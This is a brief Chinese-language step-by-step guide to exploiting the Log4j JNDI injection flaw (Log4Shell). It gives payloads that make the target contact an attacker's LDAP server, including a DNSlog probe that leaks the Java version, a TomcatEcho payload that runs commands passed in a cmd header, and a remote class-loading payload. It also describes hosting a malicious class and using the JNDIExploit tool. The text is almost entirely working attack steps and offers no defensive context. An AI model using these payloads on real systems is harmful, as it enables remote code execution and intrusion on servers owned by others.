[TOC] ## 步骤1 1、打开页面使用${jndi:ldap://dnslog}插入到表单中点击提交，然后查看dnslog  2、使用dnslog查看Java版本payload： ``` ${jndi:ldap://${sys:java.version}.dnslog} ```  3、使用burp抓包，发送到重放模块，并将get修改成post  4、下载JNDIExploit工具，本地开启一个ldap服务  5、将payload修改${jndi:ldap://ldap地址:1389/Basic/TomcatEcho}，在包内添加cmd头加上想执行的命令 （注：如Basic不可用可换成tomcatbypass）  ## 步骤2 1、首先在攻击者的服务器上搭建两个服务 第一个：服务网站上放恶意的class类。  开启ldap或者rmi等服务（笔者这里用ldap） 2、攻击 然后将漏洞请求发过去 ``` ${jndi:ldap://ip:port/#Exploit} ${jndi:ldap://1.1.1.1:9999/#Exploit} ```